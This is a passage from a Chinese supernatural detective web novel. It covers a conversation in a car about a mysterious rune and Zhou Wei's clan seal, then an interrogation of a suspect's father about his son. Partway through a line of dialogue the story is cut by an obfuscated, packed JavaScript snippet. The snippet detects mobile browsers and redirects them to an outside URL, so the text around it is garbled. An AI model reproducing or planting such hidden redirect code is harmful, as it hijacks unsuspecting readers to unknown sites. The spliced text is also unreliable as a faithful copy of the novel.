毕竟生灵的□□和精神,是完完全全的两个维度,□□再强,在精神力造诣上也可能完全就是白纸一张。这也是为什么一旦精神系灵力者失控,周边所有的非精神系全部都要退避三舍的原因,因为面对他们失控暴动的精神力,再强的非精神系也起不到任何作用,不但不能帮忙,还很有可能把自己搭进去。 而像严瑾这种等级的精神系灵力者,一旦在深度昏迷中出现精神力暴动,能力失控之下,完全可以在自己周边一定范围内短暂地制造出一个小型地狱。那暴走的精神力足以把任何人拉入永无止境的幻象深渊,没有人知道自己将在那深渊中经历怎样的噩梦,也许是自己这辈子最痛苦、最不堪的回忆,也许是亲眼直视完全混乱无序、不可名状的存在,一旦承受不住,甚至很有可能就此被幻象吞噬,最终思维崩溃精神失常,好端端地进来,疯疯癫癫地出去。 因此,“吾好梦中杀人”一直是精神系灵力者中流传的一句地狱笑话。 “严瑾没有给我留下任何信息就离开了。他走得很匆忙,离开之后,我收拾了他的床铺,在床沿上发现了这个符号。”李默道:“这是他在昏迷中,在极度痛苦的情况下,用指甲硬生生抠出来的。” 周纬:“……” 半晌之后,他才开口道:“所以你才怀疑他的死亡跟这个符文有关,是么?因为这个符文出现在珑湖,你才追着它,来到了珑湖。” “是。”李默歉疚道:“只是我能力有限,来到珑湖接近一月,却始终没能找到什么线索。” “不,”周纬却突然道:“你找到了。” 李默一愣。 不知何时,周纬夹手上那只香烟燃尽了,那灼红的烟头叹息了一声似的,缓缓吐出了最后一缕轻烟,悄无声息地熄灭在了黑暗里。 李默看到周纬缓缓地支起了身子。 那些烟雾原本一直在他身边缭绕不散,遮蔽了他的身形和表情。然而此刻随着他的动作,那些烟云却缓慢地翻搅、流动起来,他从那一片缱绻烟云中浮出了身形,露出了那双漆黑的、漆黑的眼睛。 眸光深邃,有如夜空。 “你明知这个符文可能跟我有关……” 李默听到周纬轻声开口,声音中似乎都有无尽烟霭缭绕不休。 “为什么,不问问我呢?” 55.元明 李默骤然屏住了呼吸。 车厢真的太封闭、太狭窄了,在这种密闭狭小的空间里,所有的感官仿佛都被千百倍地放大,所有的思维都无处可逃。 周纬逼近过来。他身上那丝丝缕缕的淡白色烟雾依旧缭绕不散,整个人像是浸在了沉沉的雾气里,忽远忽近的看不分明。那缥缈不定的云雾随着他的动作骤然搅动流散,刹那间占据了大半个车厢,沉甸甸地侵略和压迫而来,眨眼间就占据了李默全部的五官六感。 妖类过于灵敏的感官在这时简直要成了一种负担,李默只感觉自己的鼻端全部被周纬的气息填满,那原本清冽淡然的气息刹那间仿佛膨胀了千百倍,骤然浓烈起来,花香烈酒般灼热滚烫,压得李默几乎窒息。 他喘不上气,头晕目眩地想:“……我这是怎么了?” 周纬还在靠近。他的左臂仍然虚虚的不能受力,所以他便将右臂撑在了身体左侧,缓缓地将自己的身体支撑了起来。李默几乎能看到他的身体是在怎样一寸一寸地发力,肩膀峭立,脊背舒展,身形一寸一寸地打开,几乎是从那缭绕的烟雾中“探”出了身子来,他抬起了那双睫如鸦羽的眼睛—— 就像一条缓缓苏醒,缓缓睁眼的美人蛇。 美人蛇带着缭绕烟霭的馥郁吐息扑到了李默的耳畔,周纬轻轻地道:“你为什么……不问问我呢?” 李默只觉得自己心脏骤停。 刹那间他几乎想要逃走……他整个人都难以自抑地后仰,几乎把自己紧紧地贴在了车门上,慌乱地想要移开眼睛,然而一双眼瞳却像是背叛了大脑的指挥似的,他的目光死死地粘在了周纬身上,撕都撕不下来,像是恨不得沉溺在那黑沉的眸光中。 他下意识地开口,想要回答周纬的问题:“我……” 然而话到了嘴边,他却说不出口。李默只感觉天旋地转,目眩神迷,神智仿佛同时坠入了那片沉沉的云雾里,鼻端和肺腑间全是那弥漫不散的馥郁烟气。 一片混乱和迷茫中,他想……我能怎么说? 我该怎么说? 难道要说我其实偷偷调查过你么?我其实知道你的身世和能力来源么? 难道要我说我其实知晓你所拥有的“周”这个姓氏所代表的含义,也猜到了你的诸多万般无奈和身不由己么? 难道要我亲口询问你、质问你……逼你回忆你那渴望逃离的过去,亲手再次揭开你的伤疤么? 刹那间李默不混乱了。 他的神思骤然回归原位,心脏处翻涌上来一阵剧烈的拧绞般的心疼。 然而,就在他心疼不已,却还没想好该怎么开口的时候,周纬却突然退开了。 他突然退远了几分,抬起了自己那只唯一能动的右手,开始解衬衣扣子:“帮我一下。” 李默:“什……什么?” 他浑身骤然呆滞,刚刚才复归原位的神智立马又被炸成了一团浆糊。 “帮我一下。”周纬解释道:“我没有手,帮我拉一下后脖领子。” 他已经解开了三颗衬衣扣子,露出了大片苍白的胸口和轮廓分明的腹肌。周纬背对着他,将自己的衬衣前襟往上提了提,后颈的衣领便自然垂落下来,然而他毕竟只有一只手,提了前襟就不能拉后领,于是便催促李默道:“快点。” 李默觉得自己要炸了。 他坐在原地,一动不动,面上毫无反应,脑子里却像是炸开了十万八千个连环豪华大烟花。 这这这……这是在干什么? 他口唇发干,双眼呆滞,一边几乎是机械性地、无意识地在心里重复这个问题,一边鬼使神差地、难以控制地,朝着周纬伸出了手。 那只平时坚实有力的手,此刻伸得颤颤巍巍的,捏住周纬衣领的力道不像是扯住了一件衣服,简直像是碰到了核弹的插销。 然而也不知是不是他动作实在太慢,就在他碰到周纬衣领的一刹那,周纬突然又出声了:“快点,你绣花呢?” 李默的手刹那间过电般一抖。 这一抖之下顿时失了力道,他一下子将周纬的衣领拉下来了一大片,周纬苍白嶙峋的后脊就这样猝不及防地暴露在李默眼前。 李默唰地一下收回了手,其速度之快,仿佛骤然被火烫了一下。 哪怕是在漆黑的车厢里,他那双纤毫毕现的妖类的眼睛也能看清楚……周纬天生肤白,后背这种常年不见光的地方更是白得没有一丝血色,被那件滑落一半的黑色绸质衬衣一衬,简直黑白分明得刺眼起来。他身形削薄,肩膀平直,蝴蝶骨的形状清晰分明,中间的脊柱凹陷蜿蜒,直至隐没入衬衣之下那层阴影之中,弯出了一个……令人遐想的弧度。 李默几乎是本能反应地移开了眼睛,呼吸一滞,心脏却骤然造反似的狂跳起来。 于此同时他心里漫过一阵莫名的郁闷和不解……明明上次周纬受伤的时候自己照顾了他一夜,该看的地方全都看过了,这又不是周纬第一次在他面前赤/身/裸/体……更何况只是露个后背而已,他怕什么? 然而脑子里虽然这么说,他却就是不敢抬起眼睛。 直到周纬的声音传来:“看到了么?” 李默:“看……看到什么?” 周纬道:“我的符文。” 李默倏然一愣。 他这才反应过来,恍然回神般抬起了眼睛。 熟悉的灵力波动出现在车厢里,周纬后颈之上,一小块区域荧光泛起,缓缓的被点亮了, 那是一个李默从未见过的灵力符文,有半个手掌大小,深深地嵌在周纬的肩胛中央,颈椎与胸椎连结的位置。那个符文像是被烙印上去的,点亮之后不是浮在皮肤上,而像是深深地印刻在了血肉里,颜色是浅淡的乳白色,与之前周纬展现过的霆华、青璇和周山三道符文皆不相同,它像是一个符印上延伸出了三个分支,呈三角的形状,深深地嵌在了周纬的脊背上。 李默愣住了:“这是……” 周纬道:“这才是我真正的能力。” 他回过头来望着李默,神色平静而眸光黑沉。 他道:“你其实知道我的身世,对么?” 李默沉默了下来。 “是的,我知道。”半晌之后,他才点了点头道:“墨陵周氏。” 周纬扯了扯嘴角,无声地一笑。 这其实根本算不得什么秘密。 周纬从未改名换姓,也从未隐瞒过自己的符文能力,有心者只要一稍微留意就能打听出来。李默托黄兴德调查的时候根本没费什么劲,而且这身世也委实没什么见不得人的。 自数千年前两族大战,人类从妖类手上抢过世界权柄以来,众多灵力者彼此通婚,经过数百代的血脉筛选,最终稳定下来,形成了众多的灵修世家。而时过境迁,大浪淘沙,诸多的灵修世家也在历史的滚滚浪涛中被浊流洗去,最终得以留存下来,成为人类灵修界执牛耳者,并在历史上留下过浓墨重彩印记的,也不过区区八家。 而墨陵周氏,和之前李星路所出身的赤阳李家一样,都是其中之一。 这两大世家都是绵延千年而传承未断,直到今时今日,仍旧是人类灵修界举足轻重的一方势力。从这个意义上说,“墨陵周氏”的出身不仅不是什么需要隐瞒的事,反而应当是一张闪闪发光的金名片才对。 与赤阳李家一样,墨陵周氏能够传承至今,也是因为其家族子弟,拥有一项特殊的传承能力。赤阳李家以“神锻”为名,族中多出炼器师;而墨陵周氏以“玄箓”为名,其传承能力正是符文咒印。 只是这两大家族之间也略有不同。李家传承的是“炼器术”,直白点来说就是锻造技艺和功法,对族中子弟本身的灵力资质要求并不高,其家族传承更多是以一种“知识”的形式记录和流传下来的。也是因为这个原因,赤阳李家并不甚在于血统,族中甚至会着意培养许多旁支子弟和外姓族人,只要誓言效忠李家,李家一概来者不拒。 而相比之下,墨陵周氏所拥有的的“符文咒印”,则更加严苛地依赖于血脉,基本上除了周氏的直系子弟,是不可能接受这种传承的。这也就意味着周氏作为一个庞大家族,其家族的凝聚力、族中子弟对于家族的信仰和维护之心,都要比赤阳李家强得多、坚定得多。 然而李默微微蹙起了眉头。 因为……据他所知,现存的这几大灵修世家,大多是不怎么待见异监局的。 异监局成立以后,因为是唯一掌握公权力的国家机关,天然就比这些民间的世家势力高出了一头,同时也对这些世家在超自然世界的影响力造成了很大的冲击。就像之前异监局推出的“注册炼器师考核制度”,就有传言说是异监局为了名正言顺打压以赤阳李家为首的炼器师势力、培植自己的炼器师而搞出来的,还曾经引起过一阵很大的舆论风波。 同时,异监局还成立了灵修学院,在涉入超自然事件的普通人中广泛搜寻觉醒的灵力者人才加以培养。这些后天觉醒的灵力者通常跟那些灵修世家没有半点关系,但凡只要被异监局搜罗起来,就自然而然会投靠并效忠异监局。此消彼长之下,对于这些灵修世家又是一波冲击。 在这种情况下,久居高位的各大世家自然不愿意看到异监局日益扩大,蚕食他们的地位和势力,墨陵周氏也不例外。在黄兴德教给李默的消息中就提到,墨陵周氏很久之前就已经发布了族令,禁止任何接受过家族符文咒印传承的族人接受官方职位,为异监局效力。 但既然如此,墨陵周氏出身的周纬,又怎么会没有接受家族培养,反而进了灵修学院,走了和其他灵力者一样的路子,最后还加入了异监局呢? 李默直觉这其中不会有什么令人愉快的过往。 “我不是周家的人。我姓周,只是因为我爸姓周,仅此而已。”果然,周纬清晰、平静地开口道:“但这个符文咒印确实是周家的东西没错。” 李默迟疑着开口:“你……” 周纬抬起眼睛,淡然地望着他。 李默到了嘴边的那一句“你这个符文咒印是怎么来的?”就这么原模原样地咽了回去。 他灵机一动,悬崖勒马地换了个问题:“你的这个符文,似乎跟你常用的那几个不太一样?” 周纬道:“我说过了,这是我真正的能力。你之前看到霆华、青璇和周山,只能算是它的衍生。” “这个符文的名字叫元明之印。”周纬一抖肩膀,将衬衣拉了上来,那个闪烁着乳白色荧光的符文渐渐隐去了,被遮蔽在了衬衣之下:“它的作用只有一个,就是令符文的共鸣者可以铭刻多个其他符文。” 李默倏然一愣。 他隐约想起自己曾经有过这个疑问——正常来讲,人类身上同时只会存在一种灵力属性,然而周纬身上竟然有三种之多,这是怎么回事? 没想到,居然是这个“元明之印”的功劳。 “周家的符文传承有着很严苛的要求,符文之间也有着不同的等级,目前有十三个原初符文和三十七个衍生符文,元明之印就是那十三个原初符文之一。”周纬心平气和地道:“这些符文咒印不是传承者习得的,而是与其血脉产生共鸣,之后直接烙印在传承者身上的。” “也就是说,周氏符文咒印的传承,其实是一个周氏族人和符文咒印‘双向选择’的过程。举凡周氏族人,光觉醒了灵力还不够,还必须要能够与这五十枚符文之一产生共鸣,成功烙印之后,才能算是真正得到了家族认可,可以接受家族的培养和传承,成为了真正的‘周氏族人’。” 李默点了点头。同时他也敏锐地意识到,周纬目前所说的这些,可以说算是墨陵周氏家族的内部秘辛。可见他虽然说自己不是周家的人,但对周氏的情况也不是完全一无所知。 “霆华、青璇和周山都是衍生符文,每个衍生符文对应一种元素或能力,通常周氏族人也只能共鸣一枚,和他们自身的灵力属性相对应。”周纬道:“而十三枚原初符文的能力就要复杂、深奥得多。像这枚元明之印,虽然自身没有任何攻防能力,却能够实现灵力属性转换,同时让持印者可以共鸣和烙印更多的符文。我身上只有三个,已经算少的了。据我所知周家历史上最强的一个元明之印持印者,最多曾经烙印了七个衍生符文,成为了一代大能。” 李默也忍不住感慨道:“真是惊才绝艳。” 然而周纬话锋突然一转:“但不管是十三枚原初符文,还是三十七枚衍生符文,当中都没有严瑾留下的这一个。” 李默一愣:“什么?” “我可以肯定。”周纬语气笃定道:“严瑾留下的这枚符文,确实跟周家的符文很相似,但我确定我没有在周家见过它。这应该不是周家的东西。” 这话听起来像是在为周家开脱一样。周纬抬起头来,望着李默,道:“你信我么?” 李默立刻道:“我相信你。” 周纬的眼角轻轻地弯出了一个微小的弧度,转瞬即逝。 他知道李默一定会相信他的,只是他还是问了——因为他想要听到李默如此坚定的、不假思索的回答。 他道:“……除非周家的符文咒印,实际上不止五十枚。” 李默:“……” 他反应了一会儿才诧异道:“你的意思是说,周家里还有其他隐藏未明的符文咒印?” “谁知道呢?如果他们有,我一点都不会感到奇怪。”周纬冷冷道:“周家的符文咒印,是百代千年的传承过程中,由无数的周氏先祖一年年、一代代创造出来的,并不是一开始就有这五十枚。一个传承千年的世家大族,能人辈出、天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204550|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才无数,却只留下了区区五十枚符文咒印?这可能么?连爱迪生发明灯泡都实验了三千多种材料,我就不信他们手中没有藏着那么一两个见不得人的失败品。” 李默:“……” 就算是聋子,也该听出来周纬对这个墨陵周氏,委实是成见很深了。 “这个符文目前功能不明,但是它能直接打断玉一的自爆,甚至玉一因它而死,这种能力就算是放在周家,也该是原初符文的级别。”周纬想了想,又道:“严瑾之前是从哪里了解到这枚符文的尚不清楚,但你说他精神力耗尽,像是跟人打过一架……也许之前持有这枚符文的人也是个精神力方面的高手。” “现在的线索还太少了,推断不出什么来。”周纬停顿片刻,像是想定了什么似的,抬头望着李默:“我离开周家已经太久了,很多事都不怎么清楚。这样吧,我帮你找个人打听一下,他对周家的事了解得比我多得多,也许他会知道什么线索。但若是他也不清楚,那么等灵力血清这件案子了结,市局这边能脱开身了,我就跟你一起,去周家走一趟。” 李默刹那间吃了一惊:“你要回周家?” 周纬歪了歪头,看着他:“不是我,是我们——你不一起来么?” “不不不,我当然会去!”李默连忙道:“只是你……你要为了我回周家去么?” “是啊。”周纬的话音微微上挑,像是轻松调侃地笑了一声:“感动么?” 然而他的上半张脸完全隐没在了车厢的阴影里,因此李默没有看到,他的双眸中是一片漠然的死寂。那嘴角的笑容像是套了个面具,又像是覆上了一层精致的画皮。 他根本没等李默的回答,就重新翻身又躺下了,仰面朝天双目微阖,双手平静地覆在小腹上:“好了,这件事就先这么定了。玉一死了,我们的案子还没完,得回去告诉季凌云他们这个消息。你来开车吧,我们回市局。路上不要叫我,让我休息一下。” * 玉一的死亡在市局又引起了新的一轮震动。 谁也没想到只是一夜时间,事态就发生了如此大的变化。这其中最为懊恼的当然就是季凌云,因为玉一的死就意味着他失去了调查总部管理漏洞的重要线索。然而此事实在是别无他法,谁都没有办法阻止一个一心求死的B级妖类自爆,周纬和李默已经想尽办法把事态控制在了最小范围内,周纬甚至还因此负了伤,面对刚经过一夜苦战归来的两人,哪怕是季凌云也实在没办法再说出什么了。 周纬的左臂伤得并不重,只是轻微骨裂,经过了简单处理就再次投入了工作中。其实李默的本意是让他回家休养,然而周纬说他的状态就算休养一时半会儿也不会有什么改善,既然如此还不如让他醒着,至少还可以抽烟来缓解一下灵脉的抽痛和空虚感。 李默说也说不过他,犟也犟不过他,众目睽睽之下也没办法对他采取强制手段,于是难得的阴沉了下脸来,生了一夜闷气,直到天亮都没再跟周纬说一句话。 等到天亮时分,众人已经把手头上的线索又从头过了一遍,大致有了下一步计划的章程 目前的案情已经基本明朗,主犯就是玉一和冯坤两人。 目前的这两起案件——废弃仓库案和森川隧道案,杀人者都是冯坤无疑。这个普通的人类少年不知从何方何处得到了一种神秘的灵力血清,注射之后就能够获得灵力。目前看来他第一次应该就是在废弃仓库案中,在面对华源安保的三个小混混时注射的。何昭华他们审讯了华源安保的负责人,据他交代,那三个小混混最近接的一单“生意”果然就是去找冯汝成催债。而根据他们这一行的“惯例”,催债的时候先绑架欠债者的家人,给他们稍微上点“压力”,是常有的事。 于是整起案件的脉络就逐渐清晰起来—— 冯汝成作为一个网赌网贷的受害者,因为欠了二百四十万赌债而被华源安保公司的人盯上,派出了三个小混混去向他讨债。而那个三个小混混按照“惯例”,先绑架了冯汝成的儿子冯坤,将他带到了废弃仓库,可能是想以此要挟冯汝成尽快还债。 然而他们却没想到,这次他们绑架的不是常人,而是一颗深度涉入超自然世界的不定时炸弹。 目前不清楚冯坤究竟是在什么情况下注射了第一剂血清,也许是因为被绑架而害怕,也许是因为遭受了人身威胁而不得不想办法自保,也许干脆是因为他早就跃跃欲试,终于等到了一个合适的机会……总之,华源三人已死无全尸,这些问题也许终不可考。 而在他杀人之后,玉一赶到,为他执行了善后工作,即烧毁了那辆面包车。 然后,也许是因为第一次杀人,终于激活了冯坤内心深藏的暴力因子,他转头就去杀了另一个人,即他父亲的顶头上司徐诚。根据何昭华他们这段时间的走访调查,许多恒泰建筑集团的职工都反应,徐诚和冯汝成之间的关系其实并不好。徐诚为人嚣张跋扈,领导架子摆得很足,冯汝成虽然是他一手提拔上来的,但其实就是他彰显自己优越感的一个工具人。冯汝成性格懦弱,,打不还口骂不还手,因此经常遭受徐诚的职场霸凌。据两人同事所说,在徐诚出差前一天晚上的送行宴上,徐诚还强行给冯汝成灌酒,直接给他喝成了胃出血,住进了医院。 这么看来冯坤会在森川隧道口截杀徐诚,也是有着充足的动机的。而在那之后,又是玉一为他善的后。 从各种蛛丝马迹来看,冯坤和玉一之间的感情非同一般,两人也许在冯坤很小的时候就在一起了。冯汝成近十年来事业一路飞升,中间曾经出现过许多可疑的凶杀或失踪案件,背后可能都是冯坤和玉一的手笔。只是冯坤当初年龄还小,也尚未获得灵力血清,很可能是他锁定目标出谋划策,而玉一负责具体执行。两人共同携手,给冯汝成铸造了一条青云直上的通天梯。 这么看来,冯坤这儿子当得也确实够可以的。自己不惜以身试法,也要扶自己老爹一把。 简直感天动地。也不知冯汝成如果知道自己生了这么个“好儿子”,将会作何感想。 如今云开雾散,各种鬼蜮阴谋和昭昭野心,都已经暴露在了煌煌天光之下。玉一伏法,剩下的也就只有找到冯坤而已。 只是对于冯坤家中、学校和各种常去地点的搜查和走访都毫无线索,既没有找到那种神秘血清,也没有挖掘出他可能潜逃的地点。所有人对这个少年的评价几乎都是“阴森森的”“不好相处”“不知道他在想什么”,他在学校里没有朋友,也几乎没人对他有什么了解。 就像是有一道无形的屏障把他跟其他人隔开了,他格格不入,孤独地生活在另一个世界。 看来事到如今,想要找到冯坤,也就只剩下唯一一个突破口了—— 次日清晨,周纬等人终于决定,再次提审冯汝成夫妇。 56.溯源 “冯先生是吧?你放心,这次又把你请回来,主要不是为了你,而是想跟你聊聊你儿子,冯坤。” “小、小坤?”冯汝成结结巴巴道:“小坤怎么了?” 不到二十四小时的时间,他又回到了这间审讯室。“二进宫”的感觉真的糟透了,冯汝成又开始汗出如浆,心脏在半空中悬吊着鼓噪不休,连带着胃里也跟着翻腾起来。 而这次,面前的审讯员换了个人。 那是个穿着黑衣服的青年,身形瘦削,五官很是精致,只是脸色略显苍白,唇色也十分浅淡,左臂上还打着绷带,用三角巾固定在了脖子上,似乎才刚受了伤。然而这人在自己面前坐下的时候,身体却是十分放松的,一坐下就抬起双脚叠搭在了桌子上,姿态之轻松随意,似乎只是来跟他随便聊个天。 连他问话的方式似乎也十分随意,道:“你觉得你儿子怎么样?” “怎么样?……”冯汝成干巴巴地道:“小坤他、他挺好的……” 年轻男人嗤笑了一声。 他的模样十分俊秀,眸若寒星,本该是个让人一见就心生好感的长相。然而这人的表情实在太丰富灵活了,眉梢嘴角微微一弯,就能在脸上活灵活现地写出“嘲讽”两个字,顿时就让人把那点好感打消了下去。 “挺好的?”周纬像是觉得很好笑似的,不屑道:“你不怕他?” 冯汝成愕然道:“我……我怎么会怕小坤?他可是我儿子……” “哦?”周纬撩起眼皮,瞥了他一眼,慢条斯理地道:“可你老婆可不是这么说的。” 冯汝成的手指神经质似的猛一抽搐。 这其实是诈供。周纬他们把审讯的突破口放在了冯汝成身上,还没来得及审问他的妻子黄丽华,而之所以会得出“冯汝成害怕冯坤”这个结论,实际上是通过杨小钱安在冯汝成家车上的窃听装置得知的。 当时周纬决定把这一家三口当做诱饵抛出,引玉一上钩的时候,曾经让杨小钱暗中在他们家的家用SUV上安装了一个定位和窃听装置,因此,这一家三口在第一次离开市局时车上所发生的对话,都一字不落地传到了异监局众人的耳朵里。当时冯坤咄咄逼人,在车上破口大骂,字字句句都往他父亲心窝上戳,然而冯汝成最后的应对措施居然是放了一段《大悲咒》,让自己平心静气……这唾面自干的精神,让当时正在监听的一众监察员们都忍不住为之绝倒。 当时申彦雪就直接指出,这个家庭里发生了“权力倒置”的现象——也就是说,在这个家庭亲子之间的权力关系中,父母居然是处于下位的。 “权力倒置”的现象在普通家庭中也会出现,比如典型的反抗父权,或者俄狄浦斯情结……然而通常情况下,一般家庭就算要出现权力倒置,往往也是因为孩子采取哭闹、冷战、离家出走等方式,迫使父母让步,或者因为父母工作忙,无法长时间陪伴孩子,补偿心理导致他们在别的方面对孩子予取予求。孩子要经过一个漫长的成长和反抗的阶段,才能从父母那里逐渐取得权威,这也是亲子关系发展的一个重要阶段。 然而冯坤的情况却与正常的情况全然不同。在这个家庭里,他显然很早就建立起了相对于自己父母的心理优势额,而父母对他的态度更多的是忍让、顺从和惧怕……他们眼中的这个儿子究竟是怎样的?为什么当父母的,反而要害怕自己的亲生儿子呢? 是因为他们只是潜意识里有这种感觉,还是说他们真的察觉到了什么? 他们知道自己孩子的真实一面吗? 冯汝成坐在审讯椅里,大腿被钢制椅骨硌得生疼,眼角微微抽动。 他害怕自己的儿子吗? 实话是——他确实怕。 真的会有人不害怕这样的一个孩子吗?喜怒无常,暴躁易怒,不管是在学校还是在别的地方永远都跟人相处不来,每天阴沉着脸进进出出,经常自己嘴里嘀咕着一些别人听不懂的话,像个离群索居的疯子……有时候冯汝成看着自己这个儿子就在想,你为什么不能正常一点呢?为什么不能跟大家都好好相处搞好关系呢?为什么就不知道低着头做人呢?你知道在这个人情社会别人的看法是多么重要吗?人都是活在别人的评价中的,你为什么就不能收敛一点呢? 然而他不敢把这些话说出来,因为每次往往他表露出要对冯坤说教的倾向,最终都会招致一顿暴跳如雷的破口大骂,以及一些诸如“你根本不知道我为这个家都做了什么”“这个家能有现在靠的都是我”和“你这个废物有什么资格来教训我”之类的胡言乱语。 最后这顿吵架往往是以冯坤摔盘子砸碗搞得家里遍地狼藉为结束,黄丽华则只会坐在一边抹眼泪。久而久之,冯汝成就不想管了,他觉得自己也管不动了。 有的时候他设置觉得,自己这个儿子是不是被什么上身了,或者招惹了什么不干净的东西——因为冯坤在家里又打又砸的时候,脸上表情是那么狞恶可怖,让冯汝成甚至觉得那不是自己的儿子,而是有什么东西占据了冯坤的皮囊,正在他的身体里苏醒过来……所以冯汝成才会在身边常备《大悲咒》。 人人都说他性格懦弱,被儿子骂了也只会用《大悲咒》安慰自己。只要他自己知道,那其实是他在害怕……害怕有什么魔鬼一样的东西,从自己亲生儿子的身体里挣脱出来。 正在他神思飘忽的时候,面前的黑衣年轻人却突然换了个话题:“你还记得许耀文吗?” “许……谁?”冯汝成一愣,一时没反应过来。 “许耀文。”周纬敲了敲桌子:“你儿子冯坤的小学同学,一直到小学三年级都跟冯坤是同班。” 冯汝成显然是回想起来了,因为他的脸色显而易见地一僵。 “是……是,我记得。”他结结巴巴地道:“但那孩子不是……不是……” “对,他死了。”周纬冷冷道:“早在八年之前,他和他的父母一家三口,就死在了一场燃气爆炸的事故里,尸骨无存。” 冯汝成汗流浃背。 “看来你对八年前的这起‘意外’,印象很深啊?”周纬把脚放了下来,倾身逼近,语气低沉宛如恶魔絮语:“所以这起‘意外’,到底跟你儿子冯坤有没有关系呢,冯大总监?” * 许耀文一家三口的这起“意外事故”,是申彦雪从故纸堆里扒出的另一起可疑案件。 之前,申彦雪花了两天时间,把冯汝成近十年的人生履历从头到尾过了一遍,查出了多起可疑案件,揭开了冯汝成平步青云的真相;而之后,她又花了一天一夜的时间,对冯坤的人生履历也进行了一遍事无巨细的大筛查 然而,也许是因为孩子的生活环境确实要比大人单纯,也许是因为冯坤在过去的十几年里一直将自己的真实性格掩藏得很好,申彦雪竟然没有找到什么破绽。冯坤目前为止十五年的人生履历,就跟任何一个十五岁的孩子一样,上学、升学、上学、升学,泛善可陈,居然没什么值得挖掘的。 唯一在他身边发生的,比较可疑的凶杀、失踪或意外死亡案,也就只有这一起同班同学意外遭遇燃气暴躁而灭门的惨案了。 于是这起案件就成了周纬他们唯一的突破口。 之前周纬曾经做出过推测。玉一和冯坤看起来感情很深,而玉一知道自己是逃犯之身,时刻都有被异监局逮捕归案的风险。如果他们之前确实曾经为了冯汝成多次犯案,那么玉一不可能不考虑自己万一被捕,冯坤该何去何从的问题。有很大的的可能,他在孤身赴死之前,就已经给冯坤留好了逃亡的后手。 作为一个逃亡了十四年的妖类,玉一对怎么逃避追捕可谓深有心得。只是他把逃亡所需的东西准备得再全面,也必须要想办法成功传递给冯坤才行。最大的可能,他会将逃亡所需的钱财、证件之类的物品藏在一个地方,留下详细的指示,嘱咐冯坤等自己被捕或者死亡之后就来取走。 这个地方必须隐蔽,最好是除了自己和冯坤两人之外没有其他任何人知道,或者即使知道,也不会太轻易踏足,没有被人误闯误触的风险。而冯坤如果需要用到这些东西,那大概率玉一已经被抓或者被杀了,考虑到这一点,周纬代入了一下玉一的心境,觉得他可能会将东西藏在一个对他和冯坤都很有纪念意义的地方。 而这个地方,无疑就是下一步冯坤将会出现的地点。 好巧不巧,就在这时申彦雪挖出了许耀文的这起案子。周纬特意留了个心眼,问了一下案件发生的时间和地点。 是在七年前的莱山镇,6月23号。 而之前他们发现的那件令冯汝成的职业生涯开始转折的溺水案,发生在7月9号,比许耀文一家的燃起爆炸事件还要晚半个月。 也就是说,如果这起事故也是冯坤和玉一的手笔…… 那这很有可能就是八岁的冯坤和玉一,第一次联手作案。 “许……许耀文那孩子的是不是意外吗?”审讯室里,冯汝成期期艾艾地道:“说是燃气爆炸什么的……” 周纬一眼不眨地逼视着他,仔细打量着他的表情神态,语气如刀锋般毫不留情:“如果这起事件是意外,那你心虚什么?” 冯汝成汗出如浆。 周纬冷笑一声,抛出了一个炸弹:“你心虚,是因为许耀文死前,刚刚和冯坤产生了冲突,对不对?” 这完全是他自己的推断和猜测。然而此话一出,就见冯汝成的脊背骤然一僵。 “果然……过了七年还没忘,是问心有愧么?”周纬胜券在握,冷冷地道:“具体是怎么回事,详细说说吧。” “其实也没什么事……就是,小孩子打架嘛……” “我让你详细说!”周纬猛然一拍桌子。 “是——是!”冯汝成的腰背倏然挺直了,像是要坐着来个原地立正。 他眼睛瞪得溜圆,冷汗从额头上滚滚而下,半晌,终于瘫软了下来。 “其实真不是什么大事,那个燃气事故真的跟我们没关系……”冯汝成双眼无神,喃喃道:“真的就只是小孩子打架而已……” "起因只是很小的一件事。当时学校举办运动会,小坤和那个叫许耀文的孩子都报名了百米跑,结果小坤半路摔倒,把那孩子绊倒了。许家那孩子在这个项目上还挺强的,听说赛前就夸下海口说要破校记录,结果输了之后气不过,就找了几个同学把小坤堵在自行车棚里了。" “其实男孩子打架这事儿常有,谁小的时候没跟同学干过几架啊……怪就怪那个叫许耀文的孩子选的地方不好,那自行车棚里除了普通的自行车,还有几辆高年级学生骑的山地车、变速车什么的……我也不懂,听说一辆就得好几千……总之那一帮小孩打架,把一整排自行车都给踢倒了,那些学生家长就找到学校来了。” 说到这里,冯汝成还有几分委屈似的:“当时许耀文那几个孩子说,都是我们家小坤为了拦住他们,才故意踢倒那一排自行车的。但我一直觉得打架这事儿双方都有责任,怎么能全怪我们家?” 周纬冷声道:“那最后怎么处理的?” “报警了。那几个家长也不是什么好人,硬说自家自行车金贵,掉个漆都吆喝着要索赔,纯粹是来讹人的。”冯汝成一脸惫色:“结果警察来了也没什么办法,最后还是让我们自己协调解决。最后班主任做主,小坤和那个许家孩子全校通报批评,损失我跟许家家长一人赔偿一半。” 虽然几乎已经预见到了这起事件的结局,周纬还是问了一句:“你赔了吗?” “当然没有!”冯汝成吓了一跳,惊诧道:“那几辆破自行车加起来就要我赔五千?哪有这样的道理?警官我不瞒你说,我们家当时的条件不必现在,是真的拿不出钱来……再说就算能拿出钱来也没有当冤大头的道理啊!他们那几个家长明显就是狮子大张口,敲诈勒索来的!” “没有赔偿的话,最后这事儿怎么解决的?” “怎么解决?还能怎么解决?低头哈腰,给人家装孙子呗。”冯汝成抹了一把脸,抹了一手湿漉漉的汗水,他把掌心在自己裤子上蹭了两下:“调解那天我 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也许他是觉得,只要自己的父亲能够将权势、财富和地位全部握在手里,那弯了一辈子的腰就还能挺得起来,再不用走“态度到了,不花钱也能平事”的路子。 他也就可以穿越回过去,抚平那区区五千块钱在心里留下的屈辱和伤疤。 周纬接着问道:“后来呢?这件事之后,冯坤有没有什么不同寻常的反应?” 